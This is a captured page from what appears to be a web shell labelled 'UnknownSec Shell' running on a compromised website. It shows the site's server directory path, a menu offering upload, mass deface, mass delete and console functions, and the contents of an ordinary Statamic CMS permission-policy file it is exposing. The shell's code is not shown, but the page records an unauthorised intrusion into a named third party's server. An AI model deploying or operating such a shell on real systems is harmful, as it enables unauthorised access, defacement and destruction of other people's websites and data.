shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
lolasweb.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Policies
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
CollectionPolicy.php
<?php namespace Statamic\Policies; use Statamic\Facades\Collection; use Statamic\Facades\User; class CollectionPolicy { use Concerns\HasMultisitePolicy; public function before($user) { $user = User::fromUser($user); if ($user->hasPermission('configure collections')) { return true; } } public function index($user) { $user = User::fromUser($user); if ($this->create($user)) { return true; } return ! Collection::all()->filter(function ($collection) use ($user) { return $this->view($user, $collection); })->isEmpty(); } public function create($user) { // handled by before() } public function store($user) { // handled by before() } public function view($user, $collection) { $user = User::fromUser($user); return $user->hasPermission("view {$collection->handle()} entries") && $this->userCanAccessAnySite($user, $collection->sites()); } public function edit($user, $collection) { // handled by before() } public function update($user, $collection) { // handled by before() } public function delete($user, $collection) { // handled by before() } public function reorder($user, $collection) { $user = User::fromUser($user); return $collection->hasStructure() && $user->hasPermission("reorder {$collection->handle()} entries"); } }
© 2026 UnknownSec